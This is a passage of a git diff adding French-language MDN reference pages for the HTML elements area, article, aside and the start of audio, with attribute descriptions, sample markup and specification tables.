+<p>La spécification W3C désapprouve l'utilisation de l'élément <code>&lt;applet&gt;</code> et conseille l'utilisation de l'élément {{HTMLElement("object")}}. Pour HTML 4.01 cet élément est déprécié et est devenu entièrement obsolète sous HTML5.</p>
diff --git a/files/fr/web/html/element/area/index.html b/files/fr/web/html/element/area/index.html
new file mode 100644
index 0000000000..bf162fa477
--- /dev/null
+++ b/files/fr/web/html/element/area/index.html
@@ -0,0 +1,184 @@
+---
+title: <area>
+slug: Web/HTML/Element/area
+tags:
+  - Element
+  - HTML
+  - Multimedia
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/area
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;area&gt;</code></strong> définit une zone particulière d'une image et peut lui associer un {{Glossary("Hyperlink", "lien hypertexte")}}. Cet élément n'est utilisé qu'au sein d'un élément {{HTMLElement("map")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>Un texte alternatif que les navigateurs doivent afficher afin de remplacer l'image si elle ne peut pas être affichée. Le texte doit être phrasé de façon à offrir les mêmes choix qui auraient été offerts par l'image. En HTML4, cet attribut est obligatoire mais peut prendre la valeur "" (la chaîne de caractères vide). En HTML5, cet attribut est requis uniquement si l'attribut <strong><code>href</code></strong> est utilisé.</dd>
+ <dt>{{htmlattrdef("coords")}}</dt>
+ <dd>A set of values specifying the coordinates of the hot-spot region. The number and meaning of the values depend upon the value specified for the <strong>shape</strong> attribute.</dd>
+ <dd>
+ <ul>
+  <li><code>rect</code> or rectangle: the <strong>coords</strong> value is two x,y pairs: left, top, right, bottom.</li>
+  <li><code>circle</code>: the value is <code>x,y,r</code> where <code>x,y</code> is a pair specifying the center of the circle and <code>r</code> is a value for the radius.</li>
+  <li><code>poly</code> or polygon: the value is a set of x,y pairs for each point in the polygon: <code>x1,y1,x2,y2,x3,y3,</code> and so on.</li>
+ </ul>
+ In HTML4, the values are numbers of pixels or percentages, if a percent sign (%) is appended; in HTML5, the values are numbers of CSS pixels.</dd>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Le lien hypertexte porté par la zone d'intérêt. Ce doit être une URL valide. En HTML4, l'un des deux attributs <strong>href</strong> ou <strong>nohref</strong> doit être présent. En HTML5, cet attribut peut être absent et dans ce cas, la zone d'intérêt ne représente pas de lien hypertexte.</dd>
+ <dt>{{htmlattrdef("hreflang")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Indique la langue de la ressource liée. Les valeurs que peut prendre cet attribut sont définis dans le <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>. Cet attribut ne doit être utilisé que si l'attribut <strong>href</strong> est présent.</dd>
+ <dt>{{htmlattrdef("ping")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut contient une liste d'URL séparées par des espaces vers lesquelles sont envoyées des requêtes HTTP {{HTTPMethod("POST")}} dont le corps vaut <code>PING</code> lors du clic sur le lien. Les requêtes sont envoyées en arrière-plan. Cet attribut est généralement utilisé à des fins de pistage.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Une chaîne de caractères qui indique le référent (<em>referrer</em>) à utiliser lors de la récupération de la ressource :
+ <ul>
+  <li><code>'no-referrer'</code> indique que l'en-tête <code>Referer</code> ne sera pas envoyé.</li>
+  <li><code>'no-referrer-when-downgrade'</code> indique que l'en-tête <code>Referer</code> ne sera pas envoyé lorsque l'utilisateur navigue depuis une origine sans TLS/HTTPS. C'est le comportement par défaut de l'agent utilisateur si aucune autre politique n'est spécifiée.</li>
+  <li><code>'origin'</code> indique que le référent sera l'origine de la page (ce qui correspond au schéma utilisé, à l'hôte et au port).</li>
+  <li><code>'origin-when-cross-origin'</code> indique que lorsqu'on navigue sur d'autres origines, seule l'origine du document sera envoyée. Lorsqu'on navigue sur la même origine, le chemin de la ressource sera inclus dans le référent.</li>
+  <li><code>'unsafe-url'</code> indique que le référent envoyé inclura l'origine et le chemin (mais pas le fragment, le mot de passe ou le nom d'utilisateur). Ce cas n'est pas considéré comme sûr car il peut laisser fuiter des origines et des chemins de ressources protégées par TLS vers des origines non-sécurisées.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Pour les ancres contenant l'attribut <code><strong>href</strong></code>, cet attribut définit la relation entre l'objet ciblé et l'objet lié. La valeur est une liste des <a href="/fr/docs/Web/HTML/Types_de_lien">différentes relations</a> dont les valeurs sont séparées par des espaces. Les valeurs et leurs significations peuvent être enregistrées par une autorité jugée utile par l'auteur du document. La valeur par défaut est la relation vide. Cet attribut ne doit être utilisé seulement si l'attribut <code><strong>href</strong></code> est présent.</dd>
+ <dt>{{htmlattrdef("shape")}}</dt>
+ <dd>La forme de la zone d'intérêt. Les spécifications HTML5 et HTML4 définissent les valeurs <code>rect</code> (zone rectangulaire), <code>circle</code> (zone circulaire), <code>poly</code> (zone polygonale) et <code>default</code> (indiquant toute la zone). Beacuoup de navigateurs, comme Internet Explorer 4 et ultérieur, supportent les valeurs <code>circ</code>, <code>polygon</code> et <code>rectangle</code> pour l'attribut <code><strong>shape</strong></code>. Ces valeurs sont {{Non-standard_inline}}.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Cet attribut précise où afficher la ressource liée. En HTML4 c'est le nom (ou un mot-clé) d'un cadre. En HTML5, c'est le nom (ou le mot-clé) d'un <em>contexte de navigation</em> (un onglet, une fenêtre, ou une <code>frame</code> <em>inline).</em> Les mots-clés peuvent avoir les significations suivantes :
+ <ul>
+  <li><code>_self</code> : Charge la réponse dans le même cadre HTML4 ou dans le même contexte de navigation HTML5. Cette valeur est la valeur par défaut si l'attribut n'est pas précisé.</li>
+  <li><code>_blank </code>: Charge la réponse dans une nouvelle fenêtre (sans nom) avec HTML4 ou dans un nouveau contenu de navigation HTML5 (sans nom).</li>
+  <li><code>_parent</code> : Charge la réponse dans le même cadre que le parent  du cadre de l'élément actuel en HTML4. En HTML5 on a la même situation avec le contexte de navigation. S'il n'y pas de parent, cette valeur aura le même rôle que la valeur <code>_self</code>.</li>
+  <li><code>_top </code>: En HTML4 la réponse sera chargée dans toute la fenêtre d'origine annulant ainsi les autres cadres. En HTML5 la réponse sera chargée dans le contexte de navigation avec le plus haut niveau (autrement dit l'ancêtre du contexte actuel qui n'a pas de parent). Si le contexte actuel n'a pas de parent alors cette valeur aura le même effet que la valeur <code>_self</code>.</li>
+ </ul>
+
+ <p>Cet attribut doit uniqument être utilisé si l'attribut <code><strong>href</strong></code> est présent.</p>
+ </dd>
+</dl>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline("4")}} seulement, {{obsolete_inline("5.0")}}</dt>
+ <dd>Définit un raccourci clavier pour cet élément. Appuyer sur la touche ALT (ou une autre touche similaire) et sur la touche définie par l'attribut sélectionnera l'action associée à cette séquence. Il est conseillé de ne pas utiliser les combinaisons de touches déjà utilisées par les navigateurs. Cet attribut est global depuis HTML5.</dd>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline("4")}} seulement, {{obsolete_inline("5.0")}}</dt>
+ <dd>Définit un nom pour la zone sur laquelle on peut cliquer afin que cet élément puisse être interprété par les navigateurs plus anciens.</dd>
+ <dt>{{htmlattrdef("nohref")}} {{HTMLVersionInline("4")}} seulement, {{obsolete_inline("5.0")}}</dt>
+ <dd>Indique une absence d'hyperlien pour la zone d'intérêt. Cet attribut doit être présent si <strong>href</strong> ne l'est pas et <em>vice versa</em>.
+ <div class="note">
+ <p><strong>Note d'utilisation : </strong>Cet attribut est obsolète en HTML5, ne pas utiliser l'attribut <strong>href</strong> suffit.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("tabindex")}} {{HTMLVersionInline("4")}} seulement, {{obsolete_inline("5.0")}}</dt>
+ <dd>Une valeur numérique définissant l'ordre de la zone d'intérêt parmi les différentes étiquettes. Cet attribut est un attribut universel avec HTML5.</dd>
+ <dt>{{htmlattrdef("type")}}{{obsolete_inline("5.1")}}</dt>
+ <dd>Cet attribut définit le type MIME de la cible du lien. Cet attribut a généralement une fonction indicative. Cependant les prochains navigateurs pourraient ajouter une petite icône pour les types multimédia. Voir <a href="https://www.w3.org/TR/html4/references.html#ref-MIMETYPES">http://www.w3.org/TR/html4/references.html#ref-MIMETYPES</a> pour une liste complète des types MIME reconnus. Cet attribut ne doit être utilisé que si l'attribut <code><strong>href</strong></code> est présent.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, la partie gauche est un lien vers une page et la partie droite est inactive.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;map name="exemple-map-1"&gt;
+  &lt;area shape="rect" coords="0,0 200,200" href="https://developer.mozilla.org" target="_blank" alt="Page d'accueil MDN" /&gt;
+  &lt;area shape="default" /&gt;
+&lt;/map&gt;
+&lt;img usemap="#exemple-map-1" src="https://mdn.mozillademos.org/files/14546/map.png"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","450","230")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un {{Glossary("élément vide ", "élément vide")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise de fin et ne pas avoir de balise de début.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>. L'élément <code>&lt;area&gt;</code> doit avoir un élément {{HTMLElement("map")}} parmi ses ancêtres mais ce dernier n'a pas besoin d'être son parent direct.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLAreaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Ajout de l'attribut <code>referrerpolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-map-element.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes">Notes</h3>
+
+<ul>
+ <li>Dans les spécifications HTML des versions 3.2, 4.0, et 5, la balise de fermeture <code>&lt;/area&gt;</code> est proscrite.</li>
+ <li>La spécification XHTML 1.0 demande l'utilisation d'une barre oblique avant le chevron fermant : <code>&lt;area /&gt;</code>.</li>
+ <li>Les attributs <code><strong>id</strong></code>, <code><strong>class</strong></code> et <code><strong>style</strong></code> ont la même signification que ceux qui avaient été définis dans la spécification HTML 4. Cependant cette spécification n'avait été définie que par Microsoft et Netscape.</li>
+ <li>Les navigateurs Netscape de niveau 1 n'arrivent pas à interpréter l'attribut <code><strong>target</strong></code> si celui-ci fait référence à des éléments <code><strong>frames</strong></code>.</li>
+ <li>HTML 3.2 définit seulement les attributs <code><strong>alt</strong></code>, <code><strong>coords</strong></code>, <code><strong>href</strong></code>, <code><strong>nohref</strong></code> et <code><strong>shape</strong></code>.</li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.area")}}</p>
diff --git a/files/fr/web/html/element/article/index.html b/files/fr/web/html/element/article/index.html
new file mode 100644
index 0000000000..fde2eb92dc
--- /dev/null
+++ b/files/fr/web/html/element/article/index.html
@@ -0,0 +1,151 @@
+---
+title: '<article> : l''élément de contenu d''un article'
+slug: Web/HTML/Element/article
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/article
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;article&gt;</code></strong> représente du contenu autonome dans un document, une page, une application, ou un site. Ceci peut être un message sur un forum, un article de journal ou de magazine, une parution sur un blog, un commentaire d'utilisateur, un widget ou gadget interactif, ou tout autre élément de contenu indépendant. Ce contenu est prévu pour être distribué ou réutilisé indépendamment (par exemple dans un <a href="/fr/docs/Web/RSS/Premiers_pas/Syndication">flux de syndication</a>).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/article.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>Un document donné peut tout à fait avoir plusieurs articles. On peut par exemple avoir un blog qui affiche le texte de chaque billet au fur et à mesure que le lecteur fait défiler le contenu. Chaque billet serait un élément <code>&lt;article&gt;</code> et les sections de ces billets des éléments {{HTMLElement("section")}}.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a pas d'autres attributs que les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Notes"><strong>Notes</strong></h2>
+
+<ul>
+ <li>Chaque <code>&lt;article&gt;</code> autonome, qui n'est pas imbriqué dans un autre élément <code>&lt;article&gt;</code>, devrait être identifié typiquement, en incluant un élément d'en-tête <code>&lt;header&gt;</code> qui comprendrait lui-même un élément de titre <code>&lt;h1&gt;</code> à <code>&lt;h6&gt;</code>.</li>
+ <li>Quand un élément <code>&lt;article&gt;</code> est imbriqué dans un autre, l'élément contenu représente un article relatif à l'élément contenant. Par exemple, les commentaires d'une parution de blog peuvent être un élément <code>&lt;article&gt;</code> inclus dans l'<code>&lt;article&gt;</code> représentant la parution en elle-même.</li>
+ <li>Des informations à propos de l'auteur d'un élément <code>&lt;article&gt;</code> peuvent être fournies au travers de l'élément {{HTMLElement("address")}}, mais cela ne s'applique pas aux éléments <code>&lt;article&gt;</code> imbriqués.</li>
+ <li>La date et l'heure de publication d'un élément <code>&lt;article&gt;</code> peuvent être donnés en utilisant l'attribut {{htmlattrxref("datetime", "time")}} d'un élément {{HTMLElement("time")}}. <em>Notez que l'attribut {{htmlattrxref("pubdate", "time")}} de {{HTMLElement("time")}} ne fait plus partie de la norme W3C HTML 5.</em></li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article class="film_review"&gt;
+  &lt;header&gt;
+    &lt;h2&gt;Jurassic Park&lt;/h2&gt;
+  &lt;/header&gt;
+  &lt;section class="main_review"&gt;
+    &lt;p&gt;Les dinosaures étaient super !&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section class="user_reviews"&gt;
+    &lt;article class="user_review"&gt;
+      &lt;p&gt;Beaucoup trop effrayant pour moi&lt;/p&gt;
+      &lt;footer&gt;
+        &lt;p&gt;
+          Posté le
+          &lt;time datetime="2015-05-16 19:00"&gt;16 Mai&lt;/time&gt;
+          par Lisa.
+        &lt;/p&gt;
+      &lt;/footer&gt;
+    &lt;/article&gt;
+    &lt;article class="user_review"&gt;
+      &lt;p&gt;Je suis d'accord, les dinosaures sont mes préférés&lt;/p&gt;
+      &lt;footer&gt;
+        &lt;p&gt;
+          Posté le
+          &lt;time datetime="2015-05-17 19:00"&gt;17 Mai&lt;/time&gt;
+          par Tom.
+        &lt;/p&gt;
+      &lt;/footer&gt;
+    &lt;/article&gt;
+  &lt;/section&gt;
+  &lt;footer&gt;
+    &lt;p&gt;
+      Posté le
+      &lt;time datetime="2015-05-15 19:00"&gt;15 Mai&lt;/time&gt;
+      par Staff.
+    &lt;/p&gt;
+  &lt;/footer&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","500")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_sectionnant">contenu de section</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>. Un élément <code>&lt;article&gt;</code> ne doit pas être un descendant d'un élément {{HTMLElement("address")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.article")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments liés aux sections d'un document : {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}</li>
+ <li class="last"><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">Sections et structure d'un document HTML5</a>.</li>
+</ul>
diff --git a/files/fr/web/html/element/aside/index.html b/files/fr/web/html/element/aside/index.html
new file mode 100644
index 0000000000..a68dc9f35a
--- /dev/null
+++ b/files/fr/web/html/element/aside/index.html
@@ -0,0 +1,122 @@
+---
+title: '<aside> : l''élément Aparté'
+slug: Web/HTML/Element/aside
+tags:
+  - Element
+  - HTML
+  - HTML5
+  - Reference
+  - Sections HTML
+  - Web
+translation_of: Web/HTML/Element/aside
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'<strong>élément HTML <code>&lt;aside&gt;</code></strong> (en anglais, "aparté") représente une partie d'un document dont le contenu n'a qu'un rapport indirect avec le contenu principal du document.</span> Les apartés sont fréquemment présents sous la forme d'encadrés ou de boîtes de légende.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément ne comprend que les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<p>Ne pas utiliser l'élément <code>&lt;aside&gt;</code> pour marquer du texte entre parenthèses, du fait que ce type de texte est considéré comme faisant partie du flux principal.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on utilise <code>&lt;aside&gt;</code> afin de baliser un paragraphe d'un article. Ici, le paragraphe n'est pas directement lié au contenu principal de l'article et c'est pour cela qu'on utilise cet élément.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;p&gt;
+    Le film Disney &lt;cite&gt;La petite Sirène&lt;/cite&gt; est
+    sorti en salles en 1989.
+  &lt;/p&gt;
+  &lt;aside&gt;
+    &lt;p&gt;
+      Le film a gagné 87 millions de dollars pendant sa sortie initiale.
+    &lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;p&gt;
+    Plus d'informations sur le film...
+  &lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_sectionnant">contenu de section</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>. Notez qu'un élément <code>&lt;aside&gt;</code> ne doit pas être un descendant d'un élément {{HTMLElement("address")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.aside")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments en rapport avec les sections : {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">Structures et sections d'un document HTML5</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/Roles/Complementary_role">ARIA : le rôle <code>complementary</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/audio/index.html b/files/fr/web/html/element/audio/index.html
new file mode 100644
index 0000000000..4a5ff5cbae
--- /dev/null
+++ b/files/fr/web/html/element/audio/index.html
@@ -0,0 +1,371 @@
+---
+title: '<audio> : l''élément audio embarqué'
+slug: Web/HTML/Element/audio
+tags:
+  - Element
+  - HTML
+  - Multimedia
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/audio
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;audio&gt;</code></strong> est utilisé afin d'intégrer un contenu sonore dans un document. Il peut contenir une ou plusieurs sources audio représentées avec l'attribut <code>src</code> ou l'élément {{HTMLElement("source")}}. S'il y a plusieurs sources, l'agent utilisateur choisira celle qui convient le mieux.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/audio.html","tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'exemple qui précède illustre le fonctionnement simple d'un élément <code>&lt;audio&gt;</code>, à la façon de ce qui peut être fait pour une image avec l'élément {{htmlelement("img")}} : on inclut un chemin vers la ressource grâce à l'attribut <code>src</code> et on peut ajouter d'autres attributs afin de fournir d'autres informations : lecture automatique, lecture en boucle, utilisation des contrôles par défaut du navigateur, etc</p>
+
+<p>Le contenu présent à l'intérieur des balises <code>&lt;audio&gt;&lt;/audio&gt;</code> est affiché comme contenu alternatif lorsque le navigateur ne prend pas en charge l'élément.</p>
+
+<p>Les navigateurs ne prennent pas en charge l'ensemble des <a href="/fr/docs/Web/Media/Formats/Audio_codecs">formats audio</a> et plusieurs sources peuvent être fournies en utilisant des éléments {{htmlelement("source")}} imbriqués. Ainsi, le navigateur sélectionnera la première ressource dont il prend en charge le format:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="monAudio.mp3" type="audio/mpeg"&gt;
+  &lt;source src="monAudio.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;Votre navigateur ne prend pas en charge l'audio HTML. Voici un
